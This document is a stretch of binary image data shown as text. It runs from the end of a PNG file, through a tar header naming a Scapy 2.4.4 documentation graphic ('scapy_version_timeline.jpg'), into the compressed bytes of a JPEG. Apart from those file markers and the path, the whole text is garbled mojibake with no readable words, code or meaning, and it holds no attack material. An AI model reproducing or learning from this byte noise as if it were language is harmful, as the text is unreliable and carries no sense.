FªOL#e\^„Æ3¥4¦öꨆv齸ÓÀ}› >2ca¶WOûAÈ¥ÔcÿzòIÍ4ÌöJv°Ÿî_ô{½ª¾M±è\âßÛqý1æoý-…ýß%æ÷Öuú.f 0RQïÂiÚ%{urR̺ØÐëaÛ-£á¶Ü\Ö£3g k¯f "Îtè‰þÆ~‰Ôq­<õÚ˜ Õ\´=ý¶µtË-ÚÞ;1ž®m]½íŒ‰-Òü„‹2~[¶ë1Þ(Z}æqÑd¶>aœÄ•ÏHýc,Ër¼‹Öf›µÄãcëÉÙzuöŠðÍ–ò[)v¶È¯¥^°”[ż±NbKÑW?¶ˆ±e·×jÏKŸLš-ª}¶:/$­ì¢õ'×LÈ`î£m_ ßù¸£lëVÚþ3cl=}wm㣠öqטß+ÌÀsÌ´eB,çÑŒ1¾z½ðóKèQéoèwë·öö¦ÊÊõZ0'Ƭʿ ‰õªœg7ܶ’kª>íýÍwG¯RLȇv³öËËBßùQ¿y¸k}˜™@ÔÜØÚ |Šíþä †åÀ:Fåu.Zô9f.-…ÃS:Í­~'ØÍ_uÕB lÖä«^) øsªÒ±„vNX2Ë}Ûø»«ü¹_î$3|{HÇÆ¼þçõçp¹|% *Z{Ith­1ÓU¤n@§Vð»‹ûÀäë“ݬmnc[Kªx±ÂPØÍaýþ½1ëc¯Ë,§•-žÜÒ8U3–Ëë7Þ¬ ní¼QY®Ã`ÀÏkÉ0”ñ–'ih3¿Q*kΩà÷ãf@oËϵ­ö糘ûb½TWKÓW°v<æô¦µµßºÂ£r±W·½âdÖ×oç¢Ïr9U¿—µn©Ãth‰î1¿·|%?ª†ø5i+ÿTl¯Ò*é•úG…1°e=úÆ5R¾>_Jÿð¤9sjƒÇ·ªÄHùß±8íçã5 [\¶·þí¤J”ÿ {¥i¯~&ÄÜÄ‚9·mpÿq”…õªÚŒËì‡%4Ý¡„¿‹;ÝÆfmÓ˜ÇÉ-eçÞEl,1SÐÚSs6Vc|‘kRÉÛÆ%-e7dã†`©7¯`Þó7Ü/“¦¶ó¼¯Ï£SüÓÞú·‡úüÍÌÆrÙÚx;J_'yRøqkq÷·gÎk[zg›$Æni¯{³òK›Ù²„ßyÅE=iqˆ“ÝÆÉÅYT|HÑžc¦ -¾­à»öJëš¿I]ânÄ3–ˆùuËåw&– œ·Þ¢o6"?ø›ï¤:¡ÿÖ˜ðq³±S‹V·Rˆ;+¯ÖKËXÏÚö~TRÇÔLòlbõ¶´zâöN­_bFýɉ;ð¼Pé0SPÊMÂ,Wò ÃݵY=_¨1(mXioU™¬UÁwÏó½iÄuŒï8²Â›p‹ÇÍ›¶4iŠù½n5>­OWl>Ha»U“I“Ú´Æé%µh ›ª_iò?›^ßßkŒkëÕ°Ù>÷$Ýó3+ÄüžÍ¦;5Í zCuj5¤Ñˆ´­ÏÑT)–e=î28wæù€YbLÉz"쵓 H·W‰KÑÞÿžÓ,5dÔlú}œ¯¥ü†½J»=æoü­„sÇz+׉±í*LŠ™€pñcoίÂOµóOÎ7IX>¡ ÇWÍWÁw˱‘ÚØEcwlPû"œÁâ‰*üÆã1¿×SÇ®ÔûqÜè›x³Ô;Ä|¹¼è'f ÚÂÖëætgËc‰m6àf1·1wÌï}X…ÁÛi˜¨Î’(‹6?§ì_øZÇuD~gxÌïÙrD³—ò‡>eÈ«1~Ãz|wkãoâ¼â³Ä ƒ‹~‚a¦ ­ÆÛ^óYöñŸ«üÓfˆî”Iø·<]q{µ>ÈÛññÓê‡H{r¶¶Hµ^AU2î¯c·wjŸ³¹ó¨¯ŠÅcl³ÐÏ1SPŽ¡²\:6]ú—ü¼eb~Dý,e|'nöösf¤lžÓY‘³´UÆTéw*ÉÍVÎ9k™íãL’°^Ë5Zø·]blÏf^Éé…™€Ò Õ ß]ƒŸ·ÙN—˜Ü°Æåì°\èâ§€€äi_¥kÑÌáU1¿¾W3¦Üö{‡ÛºOûò ‡3å5â¶®½¸»?ßÇ•žÇ'nOD—¼ Ý×sñ¿-"ÓWéw*É¿Un¯ï%îÏë0–ʦ:wfžâ¿Ù ¾ÙblërN-ÌÄ3T_H60|}é¥*ÿ¼ÍH*eìØ˜Ûcàg~ÉÙX2óTéw*9Æ–yÚ¤8©¦qhÞ?Æv>uñSA`¦|cnk¿-í¢e[î’ª5õ4Ë¥ÔÆßÄ]œxm»CÂoF¶gaÉL¯ã:W~§oß3Û0î@ô¿Mˆ®Òzí6‰±+ÔLàÔŠ :Tb¨ì5ÃP“åY]4H}k ˆNëaͦo/]ÓÊßÄMå`&Í\>“ñÐ÷O`6óì=o<­WÄfm–:fÌ&ÄcÓ±†1³õïnLù7âNøV×Ҩ߳ŒæïJ½ËüÞ‚>–Sm›ÇÅLT£Ì$n¬l`º ˆ¾Ðϼ³§][6Æ’q&½Àñ)™)c£,›)ÅÖ’*®óë–Aû,é6¯+؇¾1ÍT§†nÓ4Í”bbãíÖùõã>Ìèw/vQ^¶r©÷f*Nn©ÁúíÏiõþ¯ù cõdùgÌPÍ$m.]-%µ6Úª­½Žókë½sÛ»&´¤MZØbÅqÖ³^¨%›s*1R9f³f^'ÉŽ˜ÅW*øÝ.Þ„‹­›%g6(Ï1Sã©»WÆjŒt—dÙ—mƽ¢{¾Â]êèMEk<sÛsùcÚ1Ý_êã« ÅüÉ£u ¾Jh÷»äð4¶s攎¥½>¬‚M<_Áõe(ׯŒÇÍ1¾gFüZEÌ”w£°JÃUö¯t[¶¬dëï-ë¢dœßW°¹¶fh «`Û§ú¹iÅÔ^­œgûÃPõˆù³I®M·zNOg[óqá¶{¨«lŸJMÜèq’làùo´Œ˜)(#}OÄ@݈Nöcv*5U¥ëôq5™šÚøwË…w†áÒ•--½Q¡‘²úWMfŒÊ5TcþôØ„ößÎ…¿çô\¶Þ˜}’:ž+©8®‚M| ká ¯'[ðÑ*ÄÏž“ñ3eÞ(¬÷g÷)ŒÕþ¿WŒn¯¹”€jÛß©x°‚Ml!]’”¡²íHö*è¦)ÚÞr UÜ%}z%Ú ¤9s|ZÛàù»b¬÷ØÜ1]ÆEiA*I§qgBõº¨ ±»›ç˜)(Ÿš¹QX^©&ÝHŽ”º&ðqCÿTÂß\RéýÒE‹-ÏTáMׯ9=$ÞB»[Ž¡s7v¨°SIgOa®óŠÃ©>óU[üûaM°¨„kª“™ºÏRŽÛe4‰˜)(ïfa7öZøg{ª?YúPw´4{Ìß°^Ÿ•bîb)‹ÊÞ+½]a(lJý›Ú×ýÊéÍðæc5Éz¢š\Ë Ì–k¨âÎR´ý_.æq²ñ@C¤ƒ:Å-Ÿ˜<¡œñqúÛ%¤Á.J³PéÃÄc¾w¶b´{¥= Åx}à Úhá¦qµ+=5ä÷K·»(Í·%lßnDÖS³wÌ]œ¹Äß±™ë ËÒ=Ò#v#–앇õuóÓz:Ì -ï¢ñ`qL¦õ.¬¦º½ÛB},9jÜYy–˜óXéRml FצÍ[O”MH"3üGúÝ^œ“¸x9•ÚÂba yÛ,5["é=íçhÿ›6Õ’\ZBN[FiÙwýÎ= ^³vn|šÐ±š’£´¯§Ð2b¦ ôFÙ Á[RÜÁæoº(ñå[þ‰Ö¦oÿêŸäífjcM,9fÜ…aßUþ@‰u±vîIopòB[†ÊŒÜ¢lÿGo^0ƒã¢^>œmƒú-5ÄÒ>^=®WVÍT-xB±X9…k×&v$ÚÖæÖþ~é YÈ€ÍqtFÊXÄ+-î*õ}–hëýzÖEËÅä316ÐaÿúfJî¨ÐLYOÚ6^P}lVÜÁ)mû¢ÌÔ ŒTë0f ¦|²mm¬TVXÎëF`¦ÿ™³Cqf FjRýYd6¿œ®cû\Öv­GøÅ¤7Ë!ÃL@yTÚ+•6–M½)Æ÷ìõÐ99–ñ²Vn˜öêô:NÕ\bÙÎOLù7’L“`Ë1ð3¥âr®˜á]´Â±^Øë>õ¸=žñÃpŸ´O gÉGqÖæŠO\4èü—”Çf~›Ð¶.÷×`¦ DÃa¯ŽVqÉ¿&HŠ´ïWP?3c»d—VIKå°µöó×êò±KoÜ $ÍÀÜ cô¶ªÀ ljœ‹(Ì”Ùá Õ5Ûµ ´o—'P?›Y¸ŽK.ótR4J[ØÂÐeÔåò„nš.–®`%¿ìKµ¸Tªt ={¥þ5‡3ñ Ç©¿‹–Tù,»dùmH°~ÖCµ¥t˜ú®%–ÏhíÓßJé‘jËÒ~gm«XÂÑ[kôÛ–“lé–Ò\¤x [Ê‹JsX‘ñ3 4ÈÖ{S'ãâ/H\ –i{íÇQIÛð‹-Ÿ©–üÙ…ØÆGõÑ~\UA=ìÕ¬;©ŠûýiÎNe3ÏÛJ‡º(ßY5°ëå(im£¯jTïJ¢ÛÀó‡i1SŒéøQ²±9=]”±|d~ÖŒ“ÍV³Ö—g6N›­cµÇù²:RÂ4í|]ʧ#QNR6î‘íË>í:Gm>]c&XÝâ|ý=M ®³XiQlûö®iBÝ®)µ×ö¡ý­OömÐù"Æ*f<ökÀù3Xßþ)|ba™§xÚŸ{!œ¥Øž¿ÊÕ¬û äøgx]æCÌÚsÿ¸Èö´Ù¶$g<.¸Úê7im¾'Öï‘¶¿"Œ®Üd±Æùz’ú‚ ‚Ö?Â{W¯ï\–ït ï×÷á5Ž«lûÖàd ¿d½§ÉTÆ÷}Àö¡ãñ:3y!AWoœ¿V‘ë¥bàš)²Hi rÎÚƒ>~—5çvÇŠç$Sä*‘ÒÔ£î¢Õ5|öûm‹µ‹<^w+Ößu½Ý]F=>.@ »ÎX µý~Úâ˜%M·BÒ¤i9ÝU«;QOXœwñoi-Õ¾2ä$Sä‚%Lºøýê_þ¤ ã/ºî×fcÔ“aš€lÒŠíëSêëÕh©6ÓL Õ¨¢Å6/¥ØåMFd €<¹f±*¥¾´æÛ}†œd €\¨F-ˆz*Å./–j¿y’)òâzŠÇçº%Ru†œd €\¨FչܟRw gu’)ò’Hé˜|#¥îTOò(I¦È KlT4ûŽóų{H [/u’)ò–PX£©¾Ï=êbÞ¢lýL1Ú$Sä5¡znîèïò¦ZìäŒT÷QN€ì%TŸ¬9^*»/)³÷6÷ÂâŠm³ÁÈ’Lð¿%UÓÖ”-©ÚjíI‹Ãú¹°Ä¿F“÷l³Œdoú‡%VEk†,6ZCü²hZ|p¾Î^“‘JÏOÁ>敃fêIEND®B`‚scapy-2.4.4/doc/scapy/graphics/scapy_version_timeline.jpg000066400000000000000000000505551372370053500236170ustar00rootroot00000000000000ÿØÿàJFIF``ÿáZExifMM*JQQÃQÆ ±ÿÛC      ÿÛC  ÿÀ|K"ÿÄ ÿĵ}!1AQa"q2‘¡#B±ÁRÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿĵw!1AQaq"2B‘¡±Á #3RðbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ?ýü¢Š(¢Š(¢Š(¢Š(¢Š(¢Š(¢Š(¢Š(¢Š(¢Š(®Sã¿ÅH~üñ—®låÔ-ü¡^ë’ÚÄáå-­Þc±à@'¦k«¯ÿ‚„ÿÉ‚üpÿ²¯éºâ€>/ýŸÿà⛯juO‰³ÏŒ~ü9ý 58ô_xÈxŠÇZ±¹¼’SqÜGImÃ8#2ض•VaúeûBøRøoyã+x>ãÂ{´wZäzͳi¶Ì¬•îùjC¤$µù%ÿMÿ‚K럵Wìgû+üJøµñ³Ä^/øðâ_øJüðêÛ@³Òì4kÈ®_Ék‹¨ó5èIœy›OÏ·!w‡ùûöŸø1⿆Ÿ·ß¿àú>ŸyÃÚgâÆ‰ñ/Oš²;?H%»ÖaEâ9lc€pƒä‚Ù Ø/‡?ðWo‚_?n_þÏúo‰­á0ð½­ÇÛ¥¿±V¯4å³³•n “]!p/,!‡$óÿø%üCý¸¾íüEÖ>|?ñ¦«âíOú6€5¨íî5híåT‰¡†y<Ù]·m;”àƒä_ø'à_ì±ÿH|@Ó|uàŸøwþ†ô;ï†Ë/…H§×d––æÑ’Xnždšà%ƒ–|æ¾›öPø{aÿÝ|[øÑ„t¸þ+éLv~*ŸíKÓRµ…cŠlîŽ=²¾Up Ä€ékâïíðóö~Kñç<à•Õ¥‘×õ»m4]°*ÎuÞAe\òÃÔUýkã'„<5‹.¥â¯ éñø‘M%îu8b]QV?5šÌ<Ð#ùÉLá~nœ×ã¯í_âÿ€?¿àºÿ´6µûlh:F¡àxGáuωü?.­¦½¤6©ý¡ òäXî~Óæ˵ÃÚ˼ù×áìϪx¿ö?ÿ‚iü>øÁáý]ü7â‹ÚÚèzÛЇˆüO⨵ˆt}+J´kKå;Å+\Ép³ÈŠ£b•$€s^'ÿpøQá¿Ùïþ 3û~xÀú5‡…ü¤OàË‹MˆAcdói·Èb‰~TÜîÇ Àà<çþ<ÿ‚²xwÂÞ?Óÿdñ” ´ÏˆÍñÇWšeÝòhº$Û·YÚ[ÚÇ$³\\"2±Ú# á îñ~—~Ã_µ÷‡ooÙ7Á?¼+mc¡øÚÄÝCkz \ZH’¼3DûI¤±H»ÃmÈà׬WÏ_ðJÿüñgì)à;ÙßVmká7‡m[DÑîÞÎæÖIšÝÊLÒ%ÄQHdiw³1@™ˆà×дQEQEQEQEQEQEQEQEQEWÁ_µ'üoÆ? ?nß|øgû:x—ã'ˆ|áX<]¬O§ø¢ËKhìäò÷¡KLÊf‰v!21s„ f¾õ¯Å¿‹_³ÿÄïÚ7þqøßáÿ†?µ÷Ò|"°mSX±ð害qbÆÆ6µí v.ñÈ'÷ŠaÂãq ôoöÿ‚Ÿü)ÿ‚ˆ|ðoŒ<%®Zé:Œ ¸’ ê·pC­DöÒbeJàñÈ¿nø+?Áoø'ÿÃË{ÅÞ$µÖ§±Ö­´­@¿²ºÕ­n'`3%¼“ÆQQHwÉWœ+à/ø(÷ü»Ã?ðEÏÙ;öføÍð–ÏXÔ“öMñŠ\ø†æVWÔuÍVœE©4Œ®÷‘Ò4\'nÀçæ/ÚöSoÁººÇíãoÙëŸ~,üS_ŠúÅëéÉyy£iwÚ‚ÅåÅ#)híÞ…ˆ)YÀnõ‹ãüKðüKà¯ÃM7Rð¡ð¯âg„õ¿_øÄêÈÐYýdÁŽádû?—º&W-œŒ‚~©ð§ÆoøóáÀñ–‡â¿ k^0Ir5ËN 4Å|É>ÐŒcÚ»[-»=+ñóâÿÂÏÙ»öîÿ‚¼þÄ:oƒ|'à¿üÕ| â‹ýE²Ñ›¢\y®Ÿþ<¼¸€Au¹FŒ+°$† ÏÌ~<øcªx;þ …ûbø'Áº^´ß þ~×7pø‹BÑÌö_ ÛL©,HŠw‘£´'{Ž–ЇÂÿÚCá߯ý'R¿ð_|âû•¿¸Ñ5»mB7dJÑ;þã}â>éô5[Fýª¾ø‹Åz.ƒ§üHðö¹â[_¶éu¿ˆ-%»Õmùýõ¼K!ycùOÌ€ŽU1dY‹B_´÷Æ wàGÁ-cÄÞðˆ¾'x‚ÌÁ ‡†´I"ŠïR–i’ý䬱Çoß$Œp‘£¶0~eÿ‚ÿÁ\|Xð6‡‰%Ó$ñ%¯ˆ­.là@âêÝÿ¤Àv®á†o˜"½Ëþ ñ¯À¿dÏë_|Yâ¿ø6òÜiþ$ðÚÝ KCL [˜¤¶ŽI`dgLì85ùSÿ'ñ—oÿ¥ø½Àßø¿ö€ø-¯xBÞïļkf÷Z䢖+?íI`ŠYÁS¥T§ÉÞÀ·”QEQEQEQEQEQEQEq¿´7Çöeøã/ˆ¾$[é"kš|Uãˉ`ðú|.Ñï5H¼P‰Lg´¶G¸‘cHT¼Žex“åÌ™eSÇÿðP_ü1µÐïµ­/â.Ÿ ëVöëSø3S‡OÑÅô‹²^I$+äHduWF ,  A ü<³Qÿ£iý¨?ð•±ÿäê?áåšýOíAÿ„­ÿ'V·Œ?à¨ÿ ü ñ?Ä^Ô&ñjÉàÿZxgÄ´^½›FÐonÖØÛ-ÕêÆa‰d7p¨bØRÙ}ŠU›®Ò?mÿ‡zÖ‹¡ÞCª^ñ®þYÚ½Œ«tu«Yn£žÝ¢Û¹ ;‰K° å'™¤çðòÍGþ§ö ÿÂVÇÿ“¨ÿ‡–j?ôm?µþ¶?ü^©ãŸÚóÀ¿ ëÅ0k5߈|?{«xnûM³ñ^ŸjŠóÜiÓO­Ê¬n’S¹£u‘TÆCUÿÙ³þ 'ð×ö«ñއái¼M îµ ÂO£>¯áûÍ2 {MWŠ9.låš5KˆãyáV(OúèØe]X€yÇÃø+µÆé¾&ð¯ÀÚ?ÄÖ"óìuXMot™#r:ßa†A•·ÿ,ÔèÚjü%lù:³ÿà†ò‰o¿ö/ÿíÄÕòÿí¯ÿÃø¿û-|xý£$ÓâôcÔëøyf£ÿFÓûPá+cÿÉÔÃË5ú6ŸÚƒÿ [þN«ÿaø=oáMkTŸP×­æÐ~$ÃðšëL}"oí#¯Ë,qÅ[€]ÑÄ‚E‘r¬ŠÅrF+ãˆ_ðpγãÏØ“â§ÄO øÅ_ µ…ÿ,|+5߈´ ©l®tÖÖ-í&,^(Â_üÛAºH®I$P×ðòÍGþ§ö ÿÂVÇÿ“¨ÿ‡–j?ôm?µþ¶?üYþÿ‚Ó|Ö¾xóÆWZ·Š´~êÖš±£k>¿±×…åèÆ´ù"=Ð`bUL‘’B…$Uð[߀¶? õo뇌|2žñ=„uíZðµõ޹ _Þ©{U¹±xÄê’"–VUmÀ2À€µÿ,ÔèÚjü%lù:øyf£ÿFÓûPá+cÿÉÕß~Æß·O€n x‹RðDšõ½Ïƒõ‰4wI×´{#TÒ/Uü¹í§U‘2ެ Èá•”|Ó¢ÿÁAh…ÿðUO†~(x?á þøÅe­jZGü"7÷÷Ï…­,#’HæÔ^`±H²íHóh»ÙÀfØ€zÇü<³Qÿ£iý¨?ð•±ÿäêùüëºN¡ÿ!ÿ†˜Õ>þØ·‹,|'ÿ†¤Üx_LþËÐíšO2IaQt$󜴠³9fq»·Ò¿à­¿ðRþÂ^?ø/áÿ ê_<5Å Í^ÞûÄ?îî­tm YZÇSÝÜY]¸¢˜HŠÙ$G'' ÿ,ÔèÚjü%lù:øyf£ÿFÓûPá+cÿÉÕä~ÿ‚ýx/âoíoðkÀ^ ø{ñÅ~øÅ¦^ÞÙx¦×@½Û†ÿìK*B!>e¢²Hó\o f7nœø%ü7Ãÿ´~“á_üR¾Õ-~'x·Åöƒ§^Áák»]êkK¹Ì+y³ìæëìi…žrC0Rï_ðòÍGþ§ö ÿÂVÇÿ“¨ÿ‡–j?ôm?µþ¶?üUþÁe~|gøå£øEÕVÃ!K¹Ëý•ÿà¸?lo‰¾ ð¯ƒu_ý·â%½äž¼Ô¼/}c¦êóÚFeº´†êHÄ2\CÞè¬B‚;ˆZÜÿ‡–j?ôm?µþ¶?üGü<³Qÿ£iý¨?ð•±ÿäêä?à°Ÿ¶ÇïØcàιñGá¾ð^ëáç€ôˆõ=~O__®¥©Ì÷H³²ŽßlhØhˆy\ïyBÝ_Bé¼mñwöKÒ|Yá#Gðï?mߎŸnŒŸ ~%i? n´ƒúnžº†»àŸí j×€J–[®˜ï)v“j‚ŒUIçÝÁd¿å1ÿ°¯‡¿ôý§Ðÿ,ÔèÚjü%lù:øyf£ÿFÓûPá+cÿÉÕõ~[þÜ¿ð[OŒ²×íûKâøoàæ£ðçög—ÂçQ²Öu;Ëx’=bÎ ÊY:–ƒÌåq†Nxbhêøyf£ÿFÓûPá+cÿÉÔÃË5ú6ŸÚƒÿ [þN©!ÿ‚¸|ÿ„3ÄšµÅ爬n<+ã»?†÷úEÆ2jƒZ»xVÞƒ¤I<àË"ü¬¨ägm|ñ‡þ ÖüWû|zñׄüâχ:ÇÁψ6^]CÄž»k«¬ØÚLdóaŒCäÜJd²;¤‡äbNိ?áåšýOíAÿ„­ÿ'Qÿ,ÔèÚjü%lù:¨øoþ Gð]øIñ#ÆzÇŠ<;kð®öÊÃ^ÒõÏ _éÚÔrßtñŒ± ä7{‡’naÉ 5M?à·ì~xƒÅ:å÷<'ÿˆ´Ï øE×ü+}§kžºÔy³k›)#,R¦]]UU8ÉP×ü<³Qÿ£iý¨?ð•±ÿäê?áåšýOíAÿ„­ÿ'Wyû~ÝÞý¹t_Üø-¼Eg}à½TèÚî‘â çFÕ4«‹" m®dPñº²’9Ž`>`ðGüçâÜðUŸ ü Õà?޼?â¹5±©ZxT»¿×þGc™ šÓ»y*ÓŽ//Ë„‰ _ ØÿáåšýOíAÿ„­ÿ'Qÿ,ÔèÚjü%lù:µ?শæ¡ûü ³ŸÂ:-—‹>(øÊühþðýÌŒ°ß\iî.'Ùó­­­¬sO+¯EŒ.Au5ÒÁ:¿im[öÇý†¾|R×,4ý/XñÖo«ÝÚXoû5¼’ •{3mäšáÿáåšýOíAÿ„­ÿ'Qÿ,ÔèÚjü%lù:¼oö_ÿ‚|\ñ÷üþ~$¼q£]hº–§«\ü1Õ/u+‡7“…¦¯<„ÄÒ¼ƒÊÚ#ö ~Ãþ «ÿJŸöø“ðÓáæƒªü/ðlj~#E¨Kâ_ˆš”–žð혈3È‘2Kq4²L‰Qºò®Y‚ŒÐiÿ,ÔèÚjü%lù:±ôÏø+…ž³ã­[Ã6Ÿ³ÿí!qâÖÖ÷QÓ£ð݃\YAtf[y$O·eVCo8RzùOކ¾ý›|}yñOà/„üE¨kž ñ%ö±¦Åu>©á)ÞmýØs%£»3OmÌObMx·ÀoùK‡í!ÿdÿáÿþ”ø¢€àÛ²†_t_ 迲ïí7g ø{NƒJ°µ±)´1,QÇÿÝ(…{/íËñóPý•ÿcŠßô›=KTð„õ?YÚ]–÷[ZÉ2$›Hm…‚3‚:×Á_ÿà¾þ(ð&»ü4ƒà&ðÞ£ð–Ãââjß ¤¼ÔfÐl®n­­¾É¨ZK¹ÖU7HåѶª£pÃ%@>¥³ÿ‚]éÖ‘ÛÛþÌ´ÜB¡#Ž? تF£€Øz “þY¨ÿÑ´þÔøJØÿòuy÷üŸþ ‘àoØ?áߎ.¼?áÝ{âм máûëë .Úq¦ZÛë ´—7ñÅ,vêÑÇ#!e!Ýíãt£'Äÿø.Ž›ðöæ¾Ò¼i£øÿKø_7ÂÛéÀwïâ-2áµ+¸n®/ T2ZÛÅo³™‚*`’ÀvÓÿà£WM·“kû0þÓ6°†fòâð•‚.X’Nî2I$ú“SÃË5ú6ŸÚƒÿ [þNª_?à³ÿ~]iqÜêž,ñT7Þ·ñµÝÏ…<-­Á¡h7 ºNùíâamnë–þm£;pFqþ5Ávÿg^+Ôô­S\ñN«ý£i^$¼½Ð¼3{«Y[éŒbX5'šÙVÔ#FYÛ3FbØ$ŸðR‹ù£eoÙŸöžea†Sá[ô?éÕ™ÿ¸Ñ,cµ³ý˜?i‹;X³²|#ai““…¸’ôŸÚËãv³ðûö^¾ñ·¼Cð¯Eo*ÚêxÿT’ÃÃV²²¤Ï,xf]B&øÃ³¨Þ¹Íywüÿöçñ¯íóû;ø£ÄÞ7Ñü+kyá¯ê^±×<,n‡ückiåªêšÚ “ìò;HªK8>Q!¹!@/ÿÃË5ú6ŸÚƒÿ [þN£þY¨ÿÑ´þÔøJØÿòuy'íOûm~Ô?³Gí¡ð—À?Ù|E¢ühñäº.¦ÙkÿÂA…iîõ ÷0€5µ˜F®åómR¹Çßtò?€à®ü3µá¿Ùÿö×4™§žÙ.ìü7a4-,< a}É,r#ÌŒ;VÇü<³Qÿ£iý¨?ð•±ÿäê?àŽŸòa:/ý^/ÿÔ£U¬ÿø*ÿí·ãÏØÏÃ?íþéþ»ñÅoˆ¶>YüZ÷ ¦iésmu'žæW^Éä-Á8À‡ü<³Qÿ£iý¨?ð•±ÿäê?áåšýOíAÿ„­ÿ'W˜~À_ðZ]?ãïŠíþüPÓt¯|H¹øâ‡Z}ÿ†škÿ x†÷G¶‚êi-îÜ+ÌŽ’9If(@$¢¶·ÿöð>£ûLüðo‚þüJñÇ…~.ɯ@ž%Ó|9}$q>™tm ÚF·Û"G+NÈËöx¼©b@(Ö?áåšýOíAÿ„­ÿ'Qÿ,ÔèÚjü%lù:¼;ö ÿ‚âøwâ?ŽõüT¾Õ¬üc©üV×ü¡j6Þ»‡Aßä©a§½ðCoöÉ!!7–<Û¸gÚ|%ÿ“øã_ÚÇáý–¥â­ú¿ˆ¦ð~•âY¼3}…õjâM:ÛShþÏ-ÀhäPaŠ¥²¹±ÿ,ÔèÚjü%lù:øyf£ÿFÓûPá+cÿÉÕ‘ð3þ kðö†øÁá_xRñtz/¯ô"úÿöºMÖ£fd3Ø-ëÇä‘™6+Ÿ•ÕN7ü#öòø‹û|5_x?ijî‰gg¤Þj+§|@ÔîÓXñuÔXiºM¬’fR£ygÃÍ1íËÃþY¨ÿÑ´þÔøJØÿòuðòÍGþ§ö ÿÂVÇÿ“«Ðô¿Ú#Ä×?°t?.>ëøÅ¼ü 0ø¼ª£$ŸŒÞ1Àø4  O~Æš·„~ütÐÊøŇâçŒï|Hšoˆ´ù.4™-.¢³†[;¨ÁËf;yFá £`¥O™ü:ÿ‚Vëöv¾´ñGóGðÍÇ‹£}2Þæòëû'MÖ¬…¤:}ÍÓÉ1ŽÙA*ÒôßµUQUGû;|ý†koˆº·„~üUñW¼I¢B×z~•ñßÅó̱+„iP WF¬TŒ²ë“ó.m~Ô³ïìKûÞhößþ%xÓÀ·ZøfÓíõOŽ^0Žk¥R: Õ l€\€ œg4Ù|>ÿ‚y|LÔí>é¼cà}KIø1á-CÃ~—DÒn-nµ[‹;û1o¯„’²E²×ÌÌ0‚­$äî5Sé?býSᯎg½Z}jÂê?ƒ? u/ÞÇNQžèh;g?uû"L†ç÷ÉèkÎükÿéý˜þü¾ø…«kß­ü§iŸÛ3ëQüjñŒöke°IöñêŒ-„>õÈÛÎqÍdh¿±Gì“âOx;ÃzwŒ>!êçÄ ¼IáÛ;o¾1–M[MUF7‘íÕòpèC’Ïæ€;ø!Ÿü¢[àoý‹ÿûq5fü*ÿ‚Eø'Kÿ‚‡|jø÷ãÏøÇZ¯5]Rð›ê*]^øPÙiék!I%+¼‘¤“v©ÎE|ÿ©ý€>üDÿ‚z|+Öµ+¯‰é}¨iI–Çâw‰´ûp|éɽúEã¢"Žøæ¾‚ÿ‡f|-ÿŸÏŒøwü]ÿË*á–aM;4ÿ¯™ãÔÏ(BN-==?Ìâ<[ÿôÕüoÿÙøÚÏKñD ´ÿØüEñ\i’Å ê/µ†ïI±NT$—1ÚN³²Æ~S,Il =_þÉñ>óáÆß‡1øûÀmà?ˆàø± HÚUÚêºt¯«Á¨]Z\¿˜bxÂ[¬q”@Å‹3«Òó>ÿÏçÆü;þ.ÿå•ðìÏ…¿óùñƒÿÿ‹¿ùeKûBŸgý|ÈþÞÃö—̣ܿûNÿÁüQñ»ãÿÇ/‰:Ä Bñ¼màOˆ ûN›%Õ¾‘¨øfÄÛ,w¨|èf,çä`Ty#÷üŸâGÅ?xƒâ7|}à¹>&øë⯂¼y­Å¡éw6ú-ŽŸá ÑÛØÛ ]æy^7}ÒÈ@,GÊçsþ™ð·þ>0áßñwÿ,¨ÿ‡f|-ÿŸÏŒøwü]ÿË*?´)ö×Ì?·°ý¥÷/ó=ëö;ý‹µ?ÙŸöý¡üq}­Xê–¿|Ukâ +X!t“MŽ(íŒrᘲÊñƒ^ ûÿÁ<¿iÙóößñ‡Å¯xãà‡Ž®>"j;uÍ^çAÕOˆltd$Á¥iÒ}¨[ZÛÆB¶Ñ ol³—`¤ðìÏ…¿óùñƒÿÿ‹¿ùeGü;3áoüþ|`ÿÿâïþYQý¡O³þ¾aý½‡í/¹™èß~~ÕÞ+ýŸ¼%¢GâÏÙÇÅ^1 ª[xªóÅ ½›N¹Žy¿Ñ$³†9ð­IPË)#Ê~ÄßðFÿ†²OÀ/ƒþÔ¬íüsãOƒºy¶Ò¼U|²Ã*Ì×—ÅÒ”ªÆ·2”BXªí]ǯ:ÿ‡f|-ÿŸÏŒøwü]ÿË*?áÙŸ çóãþÿòÊí }Ÿõóíì?i}ËüÈ?àŸðN¿ÚcöPøýãOxÛÇ¿|u«|Nº¸¼ñOŠúŸü$÷$[:XÚÁ+] hlíæâ€-]Aݵ–ïíÿÖøéñOÆÿþ,Yøëá>§ñ³ÁþÕ|â‰5ï\?‡u»Kã¸M¿™¶HRJɸ‚Pg0ÿó>ÿÏçÆü;þ.ÿå•ðìÏ…¿óùñƒÿÿ‹¿ùeGö…>Ïúù‡öö´¾åþgÓŸðO¯ÙÏöýŒ~ü°Ö.^x‰|;©x?á‰nu­sBÖ,Ô:ôÚ<¿w!Ê·Ì1òúׄÿÁyÿaiµßø'o„4€~ ¾Ð|uà_ØGà[/h%bÒ¾Ød³¼Þ–é¶ÚÓì×3É,…B šÜÿ‡f|-ÿŸÏŒøwü]ÿË*?áÙŸ çóãþÿòÊí }Ÿõóíì?i}ËüΓXÿ‚Yx›á?ÇŸÙ_ÅŸüEàý'Møá™| ªéÚþ›q8Õ4y–Õ&–ÜÁ"l¼Û„ Rò†mØ*ܯÁOø#?‰>ü"ýŸü3uã=òOƒŸu_ˆ—³Em2.¥mxúƒ-´|å$Qx¹cÇÈqÚ¦ÿ‡f|-ÿŸÏŒøwü]ÿË*?áÙŸ çóãþÿòÊí }Ÿõóíì?i}ËüÎöcÿ‚0|LøK}ð/À>*ø‘à½sàoìÛâ«¿xF {ê× nÍœWÓ4¦H 